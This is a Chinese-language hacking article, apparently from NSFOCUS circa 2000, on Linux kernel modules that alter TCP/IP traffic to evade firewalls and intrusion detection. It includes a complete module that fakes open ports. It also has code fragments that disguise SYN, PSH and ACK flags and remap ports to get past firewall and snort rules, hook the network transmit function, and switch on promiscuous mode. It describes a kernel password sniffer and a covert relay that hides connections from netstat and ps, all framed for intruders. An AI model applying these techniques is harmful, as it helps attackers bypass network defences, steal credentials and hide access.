利用LLKM处理网络通信---对抗IDS、Firewall
作者:kossak (mailto: [email protected])
★ 前言
事实上我并没有翻译Phrack 55-12,它的文字如此之少,当然必须承认其中闪烁
的智慧之光。阅读lifeline < mailto: [email protected] >的程序,它就在文章
里,然后再来看这篇文章。
★ 目录
1. IDS、Firewall的某些特性
2. LLKM能做什么
3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为
4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位
5. 另外一种截留本机发送报文、修改、再发送技术
6. 内核模块里设置混杂模式
7. 内核模块里文件I/O操作
8. 内核包转发的讨论
★ 正文
1. IDS、Firewall的某些特性
以snort为例,其大量IDS规则对TCP的PSH、ACK、SYN标志进行判断。比如,在
syn-flood告警中,判断短时间内出现的大量SYN包。而更多的对TCP数据区进行内容
鉴别前,判断了PSH+ACK标志。具体snort规则请参看snort源代码包中举例。
Firewall阻塞来自外部的TCP连接请求时,需要判断SYN标志。
IDS和Firewall还有个更重要的通性,对端口的敏感性。21、23、110、513等端
口都属于敏感端口,许多告警规则、阻塞规则是基于端口的。
2. LLKM能做什么
利用LLKM简单、临时改变TCP/IP协议栈的行为。考虑三种情况:
a. 更改出现在网络传输线路上的TCP标志位
b. 更改出现在网络传输线路上的端口
c. 对IP数据区(TCP协议部分)加密处理后传输
|
| | |
A Host ----+----- firewall -----+---- B Host
(内部) | | | (外部)
| | |
C Host(IDS系统) | D Host(普通Sniffer)
|
假设A和B都是我们控制的主机,在这两台主机上都加载LLKM。防火墙不允许来自
外部的任何TCP连接请求,它靠的是判断SYN标志。现在B想telnet到A,LLKM将把B到A
的SYN标志换成ACK、PSH、RST、RES1、RES2中的任意一个或者几个的组合,以能渗透
通过防火墙为原则;A上的LLKM先于正常的TCP/IP协议栈接收到这个扭曲处理了的请
求报文,按照约定好的规则逆向处理,恢复SYN标志后再交给正常的TCP/IP协议栈处
理。同样,A回送SYN+ACK到B的时候,也做一些转换,B上LLKM会恢复成正常的
SYN+ACK。对于A、B上的TCP/IP协议栈,它们意识不到发生过转换,用netstat -na看
到的还是正常的、意料中的状态。对于防火墙,意识不到已经从外部主机成功访问了
内部主机。对于C、D,会看到奇怪的TCP标志出现。在做标志转换时,还需要考虑对
抗IDS规则,因具体情况而定。比如,避免在网络传输中出现PSH+ACK标志。
防火墙和IDS对端口相当敏感,比如不允许telnet、ftp协议通过,只允许http协
议通过。要做的仅仅是让A、B把23端口换成80端口出现在网络传输中。可能有人认为
修改双方的/etc/services文件更好些,当然,那也是一种可行的考虑。不过有太多
情况下利用LLKM动态修改端口更彻底更灵活。至于IDS,对于大多数非周知端口并不
敏感,意味着逃脱了监测。
最后要做的就是对IP数据区进行加密传输,IPSec能做到,可我需要的可能仅仅
是异或处理,仅仅是避开IDS的端口监测、内容监测。一个简单的insmod就能完成的
任务为什么一定要搬出IPSec呢。
3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为
例子程序的想法来自华中地区网络中心(bbs.whnet.edu.cn)Security版的
difeijing朋友,同时感谢AngelFalls朋友参与该版讨论,并提供了八篇谢绝转站的
<<Linux的TCP/IP协议栈阅读笔记>>。
程序演示了
a. LLKM的基本框架和技巧
b. 利用dev_add_pack()对本机即将发送出去的报文进行修改再发送
syn半开扫描依赖于被扫描主机返回ACK+RST标志和ACK+SYN标志两种情况,前者
意味着相应端口未开。connect扫描则完全依赖TCP连接的成功建立。difeijing提出
了这样一个想法,利用LLKM转换ACK+RST成ACK+SYN,此时syn半开扫描和connect扫描
都将认定相应端口是打开的。
--------------------------------------------------------------------------
/*
* File : openallport.c
* Author : scz < mailto: [email protected] >
* : http://www.nsfocus.com
* Kernel : 2.2.16 or 2.2.14
* Complie : gcc -O3 -DMODULE -D__KERNEL__ -c openallport.c
* Usage : insmod openallport.o [dev=eth0] -x -y -f
* Date : 2000-10-10 17:40
*/
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/netdevice.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/*
* 2.2.16内核的/usr/include/linux/version.h文件里定义了这个宏
* 但2.0.35内核里没有定义
*/
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
#include <asm/uaccess.h>
#endif
static struct device * openallport_dev = NULL;
static char * dev = NULL;
/* 定义insmod命令行参数 */
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
MODULE_PARM( dev, \"s\" );
#endif
static inline u_long csum_tcpudp_nofold ( u_long saddr, u_long daddr,
u_short len, u_short proto,
unsigned int sum )
{
__asm__
(\"
addl %1, %0
adcl %2, %0
adcl %3, %0
adcl $0, %0
\"
: \"=r\" ( sum )
: \"g\" ( daddr ), \"g\" ( saddr ), \"g\" ( ( ntohs( len ) << 16 ) + proto * 256 ), \"0\" ( sum )
);
return sum;
}
static inline unsigned int csum_fold ( unsigned int sum )
{
__asm__
(\"
addl %1, %0
adcl $0xffff, %0
\"
: \"=r\" ( sum )
: \"r\" ( sum << 16 ), \"0\" ( sum & 0xffff0000 )
);
return( ( ~sum ) >> 16 );
} /* end of csum_fold */
static inline u_short check_tcpudp ( u_long saddr, u_long daddr,
u_short len, u_short proto,
unsigned int sum )
{
return( csum_fold( csum_tcpudp_nofold( saddr, daddr, len, proto, sum ) ) );
} /* end of check_tcpudp */
int openallport_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
{
/* 注意pkt_type是什么 */
if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
{
if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
{
skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
if ( ( skb->h.th->ack == 1 ) && ( skb->h.th->rst == 1 ) )
{
u_short size;
int doff = 0;
skb->h.th->rst = 0;
skb->h.th->syn = 1;
size = ntohs( skb->nh.iph->tot_len ) - ( skb->nh.iph->ihl * 4 ); /* IP数据区长度 */
doff = skb->h.th->doff << 2; /* TCP头部长度 */
/* 重新计算校验和 */
skb->csum = 0;
skb->csum = csum_partial( skb->h.raw + doff, size - doff, 0 ); /* data checksum */
skb->h.th->check = 0;
skb->h.th->check = check_tcpudp( skb->nh.iph->saddr, /* tcp or udp checksum */
skb->nh.iph->daddr,
size,
IPPROTO_TCP,
csum_partial( skb->h.raw, doff, skb->csum ) );
}
}
}
kfree_skb( skb );
return( 0 );
} /* end of openallport_rcv */
static struct packet_type openallport_packet_type =
{
__constant_htons( ETH_P_ALL ), /* 此时可以接收到来自lo的回送报文,比如本机发送出去的 */
NULL, /* All devices */
openallport_rcv,
NULL, /* 如果是2.4内核,这里可以考虑设置成非零,但是openallport_rcv需要改变 */
NULL,
};
int init_module ( void ) /* 模块初始化 */
{
if ( dev != NULL )
{
openallport_dev = dev_get( dev );
if ( openallport_dev != NULL )
{
openallport_packet_type.dev = openallport_dev;
}
}
dev_add_pack( &openallport_packet_type );
EXPORT_NO_SYMBOLS;
return( 0 );
} /* end of init_module */
void cleanup_module ( void ) /* 模块卸载 */
{
dev_remove_pack( &openallport_packet_type );
return;
} /* end of cleanup_module */
--------------------------------------------------------------------------
openallport_packet_type变量的第一个成员必须是__constant_htons( ETH_P_ALL ),
而不能是__constant_htons( ETH_P_IP ),否则无法获取PACKET_OUTGOING类型的报
文。更改TCP标志后必须重新计算TCP校验和。
现在我们看看会发生什么。对加载了该模块的主机进行扫描,发现所有端口都是
打开的。对于connect扫描,如果指定端口并未打开,将出现如下序列:
A -----SYN-----> B
A <---ACK+SYN--- B <---- 这里本来应该是 A <---ACK+RST--- B
A -----ACK-----> B <---- 由于上面的误导,使得A认为TCP连接建立成功
A <-----RST----- B <---- B已经销毁了TCP自动机,理所当然只能返回RST
必须意识到,此时主机A上的TCP自动机会进入ESTABLISHED状态,直到收到第四
步的RST才开始销毁。
首先,这个模块使扫描方无法快速断定打开的端口,只能利用客户端软件真实连
接测试。其次,采用connect方式扫描的主机本身负载加大。个人并不认为这个模块
很有用,但的确很搞笑,我喜欢,再次感谢difeijing的想法。
4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位
3中已经演示了如何更改标志。如果A、B主机都加载LLKM的话,没有必要重新计
算TCP校验和,因为A侧的修改到了B侧会被还原恢复。在网络传输线路上,IP头部校
验和才是最重要的,而作为IP数据区的TCP校验和只对TCP协议处理部分有意义。3中
仅仅修改了TCP标识,并不需要重新计算IP头部校验和。
lifeline想实现而没有实现的是仅仅在TCP_LISTEN、TCP_SYN_SENT 和
TCP_SYN_RECV三个状态下才更改TCP标志。现在问题集中在如何获取当前TCP自动机状
态。struct sk_buff {}里有一个成员:
struct sock * sk; /* Socket we are owned by */
sk->state用于存放自动机状态。但是对于我们所处的位置xxx_rcv()回调函数,
PACKET_OUTGOING和PACKET_HOST两种情况下,该值(sk)均尚未正确赋值,并不能如你
所想象的那样,使用skb->sk->state获取当前TCP自动机状态。对于PACKET_OUTGOING
情形,可用如下代码观察确定:
--------------------------------------------------------------------------
int getsk_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
{
/* 注意pkt_type是什么 */
if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
{
if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
{
skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
if ( skb->sk != NULL ) /* 显然此时sk成员并没有被赋予适当的值 */
{
switch ( skb->sk->state )
{
case TCP_LISTEN:
printk( \"TCP_LISTEN\\n\" );
break;
case TCP_SYN_SENT:
printk( \"TCP_SYN_SENT\\n\" );
break;
case TCP_SYN_RECV:
printk( \"TCP_SYN_RECV\\n\" );
break;
case TCP_ESTABLISHED:
printk( \"TCP_ESTABLISHED\\n\" );
break;
default:
printk( \"what\\n\" );
break;
} /* end of switch */
}
else
{
printk( \"here\\n\" );
}
}
}
kfree_skb( skb );
return( 0 );
} /* end of getsk_rcv */
--------------------------------------------------------------------------
PACKET_HOST情形呢,刚刚从链路层上来,sk是否指向有效数据区呢?其实在上述代
码中用printk()观察一下即可。也可以观察ip_input.c里ip_rcv()流程中是否处理了
sk这个成员。据观察,tcp_ipv4.c里的tcp_v4_rcv()自己调用了内核函数获取sk,显
然接收过程中来自链路层的sk不可用。
在做了某些尝试后,决定直接使用内核未输出的函数tcp_v4_lookup(),也就是
tcp_v4_rcv()里用来获取TCP自动机状态的那个函数。用ksyms -a命令,或者
cat /proc/ksyms查看内核是否输出了某个函数func(),如果输出了就可以在modules
中直接使用函数名(符号)调用它。遗憾的是(对于我们这种不守清规戒律的而言),内
核里大量有用的函数并未输出,怎么办?
还记得编译内核时产生的System.map吗。cat System.map | grep tcp_v4_lookup
看看你得到了什么,一个函数指针!听到天使敲门的声音了吗(大兔子语),我听到了:
--------------------------------------------------------------------------
static u_long tcpfunc = 0;
/* 定义insmod命令行参数 */
#if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
MODULE_PARM( tcpfunc, \"l\" ); /* 指向内核函数的指针 */
#endif
typedef struct sock * ( *funcPointer ) ( u32 saddr, u16 sport, u32 daddr, u16 dport, int dif );
static funcPointer orig_tcp_v4_lookup;
int init_module ( void ) /* 模块初始化 */
{
... ...
if ( tcpfunc == 0 )
{
printk( \"Error: missing tcpfunc\\n\" );
return( -ENXIO );
}
orig_tcp_v4_lookup = ( funcPointer )tcpfunc;
... ...
return( 0 );
} /* end of init_module */
--------------------------------------------------------------------------
这样的代码和内核是紧耦合的,并不推荐如此使用内核未输出的函数,作为一种
纯技术讨论意义上应用提供上来。必须留心所使用的System.map应该是当前内核对应
的那个,每次重新编译内核都会产生新的System.map。从安全角度出发,强烈建议删
除该文件,klogd和ps会用到它而已。
下面是自己的antiids.c中的实现片段:
--------------------------------------------------------------------------
switch ( sk->state )
{
case TCP_LISTEN: /* 作为server等待来自client的SYN */
if ( skb->h.th->fin == 1 )
{
skb->h.th->fin = 0;
skb->h.th->syn = 1;
}
break;
case TCP_SYN_SENT: /* 作为client主动发起连接请求,等待来自server的ACK+SYN */
if ( ( skb->h.th->res1 == 1 ) && ( skb->h.th->rst == 1 ) )
{
/* RES1 + RST --> SYN + ACK */
skb->h.th->res1 = 0;
skb->h.th->syn = 1;
skb->h.th->rst = 0;
skb->h.th->ack = 1;
}
break;
case TCP_ESTABLISHED: /* 在连接保持状态,伪装PSH+ACK */
if ( ( skb->h.th->fin == 1 ) && ( skb->h.th->res1 == 1 ) )
{
/* FIN + RES1 --> PSH + ACK */
skb->h.th->fin = 0;
skb->h.th->psh = 1;
skb->h.th->res1 = 0;
skb->h.th->ack = 1;
}
break;
default:
break;
} /* end of switch */
if ( skb->h.th->res1 == 2 )
{
skb->h.th->res1 = 0;
skb->h.th->ack = 1;
}
--------------------------------------------------------------------------
这里给的是PACKET_HOST情形下的处理流程,PACKET_OUTGOING情形下的处理流程
类似,注意反过来啊。你并不一定要这样伪装,我这样做是为了渗透防火墙、对抗某
些IDS。假设主机D是SPARC/Solaris系统,运行如下命令:
/usr/sbin/snoop -V tcp and src host A and dst host B
观察加载LLKM之后的A、B通信过程,确认没有SYN、PSH、ACK标志出现在网络传输线
路上。
5. 另外一种截留本机发送报文、修改、再发送技术
/usr/src/linux-2.2.16/include/linux/netdevice.h里定义了
struct device
{
...
int ( *hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );
...
}
2.4内核里这个结构名字叫struct net_device {}
这个回调函数会在本机发送报文时被调用,我们采用传统的hook技术挂接它即可:
--------------------------------------------------------------------------
int ( *orig_hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );
int antiids_hard_start_xmit ( struct sk_buff * skb, struct device * dev )
{
if ( skb->protocol == __constant_htons( ETH_P_IP) )
{
if ( skb->nh.iph->version == 4 ) /* 不考虑ipv6 */
{
/* 这个修正不再必要 */
// skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 ) );
/* 注意pkt_type是什么 */
if ( ( skb->pkt_type == PACKET_HOST ) && ( skb->nh.iph->daddr == magic_ip ) )
{
// 既然antiids_rcv足以影响发送,就没有必要在这里hook什么了
/*
if ( skb->h.th->dest == htons( port ) )
{
skb->h.th->dest = htons( fakeport );
}
if ( skb->h.th->source == htons( port ) )
{
skb->h.th->source = htons( fakeport );
}
*/
}
}
}
return( orig_hard_start_xmit( skb, dev ) ); /* 调用原来的底层发送函数 */
} /* end of antiids_hard_start_xmit */
int init_module ( void ) /* 模块初始化 */
{
... ...
orig_hard_start_xmit = NULL;
if ( dev != NULL )
{
antiids_dev = dev_get( dev );
if ( antiids_dev != NULL )
{
/* hook底层发送函数 */
orig_hard_start_xmit = antiids_dev->hard_start_xmit;
antiids_dev->hard_start_xmit = &antiids_hard_start_xmit;
}
}
... ...
return( 0 );
} /* end of init_module */
void cleanup_module ( void ) /* 模块卸载 */
{
... ...
if ( antiids_dev != NULL )
{
if ( orig_hard_start_xmit != NULL )
{
/* 去掉钩子函数 */
antiids_dev->hard_start_xmit = orig_hard_start_xmit;
}
}
... ...
return;
} /* end of cleanup_module */
--------------------------------------------------------------------------
这种技术和antiids_rcv()相比,需要在insmod命令行上指定具体设备名(诸如
eth0),因为只能hook具体设备上的回调函数hard_start_xmit(),而antiids_rcv()
可以影响所有设备。正如注释所言,既然antiids_rcv足以影响发送,没有必要在这
里hook,写在这里是不想让一段技术探索毫无痕迹地消失。
6. 内核模块里设置混杂模式
yawl给出了详细的源代码搜索过程,difeijing贴过一个可用的C程序,细节讨论
请参看华中地区网络中心(bbs.whnet.edu.cn)Security版。下列代码是他们二位的成
果,:-)
--------------------------------------------------------------------------
int init_module ( void ) /* 模块初始化 */
{
... ...
if ( dev != NULL )
{
kernelsniffer_dev = dev_get( dev );
if ( kernelsniffer_dev != NULL )
{
/* thanks for difeijing of whnet\s Security */
old_flags = kernelsniffer_dev->flags;
old_gflags = kernelsniffer_dev->gflags;
/*
* 参看net/core/dev.c里的dev_change_flags()
* ->gflags的作用是避免多次重复设置混杂模式,没有其他特别含义
*/
/* 设置混杂模式 */
kernelsniffer_dev->flags |= IFF_PROMISC;
kernelsniffer_dev->gflags |= IFF_PROMISC;
start_bh_atomic();
/* 注意,这个回调函数还是会报告 eth0: Setting promiscuous mode. */
kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
end_bh_atomic();
}
}
... ...
EXPORT_NO_SYMBOLS;
return( 0 );
} /* end of init_module */
void cleanup_module ( void ) /* 模块卸载 */
{
... ...
if ( kernelsniffer_dev != NULL )
{
/* 恢复原有模式 */
kernelsniffer_dev->flags = old_flags;
kernelsniffer_dev->gflags = old_gflags;
start_bh_atomic();
kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
end_bh_atomic();
}
return;
} /* end of cleanup_module */
--------------------------------------------------------------------------
阅读net/core/dev.c里的dev_change_flags()函数(这个函数内核未输出),一路
跟踪下去,gflags成员的作用是避免多次重复设置混杂模式,没有其他特别含义。如
果这里你没有给gflags置1,下次其他程序设置混杂模式时也会置1的。
set_multicast_list()回调函数会报告\"eth0: Setting promiscuous mode.\",
换句话说,写内核的人报告了一次,写网卡驱动的人又报告了一次,看来他们生怕你
偷偷摸摸进入网卡混杂模式。yawl曾以为绕过内核的报告就避免这类警告信息出现,
失算了。
7. 内核模块里文件I/O操作
--------------------------------------------------------------------------
void deleteNode ( ... )
{
char out[ MAXDATALEN + SAFEPADLEN ];
... ...
sprintf( out, \"\\n[ end ]\\n\" );
kernel_writefile( out, strlen( out ) );
... ...
return;
} /* end of deleteNode */
void kernel_writefile ( char * byteArray, int byteArrayLen )
{
mm_segment_t fs;
fs = get_fs();
set_fs( KERNEL_DS ); /* 允许访问4GB虚拟地址空间 */
down( &loginode->i_sem ); /* 在临界区down()一个信号量 */
logfile->f_op->write( logfile, byteArray, byteArrayLen, &logfile->f_pos );
up( &loginode->i_sem ); /* 在临界区up()一个信号量 */
set_fs( fs );
return;
} /* end of kernel_writefile */
int init_module ( void ) /* 模块初始化 */
{
if ( log != NULL )
{
if ( strlen( log ) <= LOGNAMELEN )
{
strcpy( logfilename, log );
}
}
/* 对于入侵,这里不采用创建模式更好些,只是需要提前手工创建日志文件而已 */
logfile = filp_open( logfilename, O_CREAT | O_WRONLY | O_APPEND, 0 ); /* 打开文件 */
if ( IS_ERR( logfile ) ) /* 打开失败 */
{
int errno;
errno = PTR_ERR( logfile );
printk( \"errno = %i\\n\", errno );
return( -ENXIO );
}
loginode = logfile->f_dentry->d_inode;
if ( !S_ISREG( loginode->i_mode ) ) /* 非普通文件 */
{
fput( logfile ); /* 关闭文件 */
printk( \"Not a regular file.\\n\" );
return( -ENXIO );
}
... ...
EXPORT_NO_SYMBOLS;
return( 0 );
} /* end of init_module */
void cleanup_module ( void ) /* 模块卸载 */
{
... ...
if ( logfile != NULL )
{
fput( logfile ); /* 关闭日志文件 */
}
... ...
return;
} /* end of cleanup_module */
--------------------------------------------------------------------------
get_fs()和set_fs()操作没有必要,内核模块本来就可以访问4GB虚拟地址空间。
以前很多LLKM文章介绍内核模块里文件I/O时采用系统调用SYS_open,而这里采用输
出过的内核函数filp_open(),显然更方便。->write()是设备上的回调函数,在
<<利用Linux可加载内核模块进行TTY Hijacking>>里详细介绍过了。这比SYS_write
系统调用快很多。为了减少内核模块里的文件I/O,尽量一次多组织数据,降低对
->write()的回调次数。
kossak < mailto: [email protected] >在自己的内核sniffer中介绍了上
述技术。并不需要他那些过滤、重组技术,我们要做的是Password Sniffer,对此比
较好的实现来自Michael R. Widner\s Password Sniffer for SPARC/Solaris,尽管
Michael R. Widner公布的代码不美观,仔细看下去觉得其相当实用并充满技巧性,
可以从packetstorm获取它的源代码,并移植到这里来,我正是这样做的。
内核级Password Sniffer和传统技术相比,尚未看出好处,ps自然是无法找到它
了,如果结合LLKM隐藏技术倒是很有前途。不知道SPARC/Solaris下有无可能编写内
核级Password Sniffer。
8. 内核包转发的讨论
kossak的内核包转发实现有个问题,对MAC地址的处理上。
A ------------ B ------------ C
假设这个kernelrelay.c加载到了B,A访问B的23端口时,B会转发报文到C,反之亦然。
A -----------> B 模块将获取如下所示报文
aMac --> bMac + aIp --> bIp + aPort --> cPort
B -----------> C
模块做如下所示转换
bMac --> cMac + bIp --> cIp + aPort --> cPort
在这里需要重新计算IP校验和、TCP校验和,尤其是TCP校验和。
虽然端口没有改变,但是TCP校验和涉及到伪头标,IP地址的改变
会影响到TCP校验和。
B <----------- C
模块将获取如下所示报文
bMac <-- cMac + bIp <-- cIp + aPort <-- cPort
A <----------- B 模块做如下所示转换
aMac <-- bMac + aIp <-- bIp + aPort <-- cPort
同样在这里需要重新计算IP校验和、TCP校验和。
不讨论何时才进行这种转发,现在来看看上面图示。在B上加载kernelrelay.o的
时候,仅仅知道要对A、C之间的报文转发,A->B的时候我们可以记录下A的MAC,但C
的MAC谁来告诉B上的kernelrelay.o?不要告诉我你要做ARP解析啊。kossak在这里的
实现很令人费解,自己读读源代码吧。我的解决办法是,A-->B的时候记录A的MAC,
B<--C的时候记录C的MAC,那么第一次B-->C的时候用什么做目标MAC呢?用全0xff的
广播MAC地址!这种解决办法有很多缺陷。第一,每次记录源MAC地址,很容易遭受恶
意的MAC地址欺骗,呵,我们本来就是入侵者,到头来还怕螳螂捕蝉黄雀在后。第二,
使用广播MAC地址将严重依赖于目标系统(这里就是C)对广播地址的反应。当C是
SPARC/Solaris的时候,效果最好。当B上的kernelrelay.o获取了A、C的MAC地址之后,
就不再使用广播MAC地址,此后的双向通信顺畅。前面已经演示了如何在内核模块里
计算TCP校验和。只需要在此之后调用:
ip_send_check( skb->nh.iph ); /* ip checksum */
重新计算IP校验和即可。struct packet_type kernelrelay_packet_type的第一个成
员赋值__constant_htons( ETH_P_IP )即可,内核包转发并不需要处理
PACKET_OUTGOING报文。
内核级包转发的直接好处是,在B上使用netstat -na看不到与A、C通信相关的
TCP自动机状态,在B上使用ps也看不到异常进程,结合LLKM隐藏技术后相当高效、隐
蔽。而在C上看到的TCP自动机反应的是和B的通信。这种转发对B的IP协议处理没有冲
击,kernelrelay_rcv()中会做如下赋值:
skb->pkt_type = PACKET_OUTGOING;
后续的ip_rcv()不会把它当作PACKET_HOST类型报文处理。具体请用Source Insight
跟踪/usr/src/linux-2.2.16/net/ipv4/ip_input.c。
★ 后记
内核模块编程有很多非常细微的技巧,我对Linux Kernel一窍不通,此次被迫翻
阅内核实现,小吱吱 < mailto: [email protected] >帮助我建立了2.2.17和2.4两个
源代码工程,在NetGuy < mailto: [email protected] >帮助下再次捡起Source
Insight这个利器。要做LLKM研究,想必你也会走同一条路的。openallport.c因为不
具有攻击性,我给出了完整源代码,给lifeline发送了一份完整的antiids.c,至于
kernelrelay.c和kernelsniffer.c的完整增强实现并不打算提供给script kiddies,
原作者是这个意思。如果是Programmer之间的技术讨论,欢迎之至。
出于对原作和原作曾经参考过的资料的尊重,附上参考文献列表,而这里没有列
举的最好的参考资料应该是Linux源代码树。
[参考文献]
1. The Linux Kernel by David A. Rusling
2. TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
3. Phrack Issue 52, article 18 (P52-18) by plaguez.
<完>
发布人:Crystal 来自:绿盟科技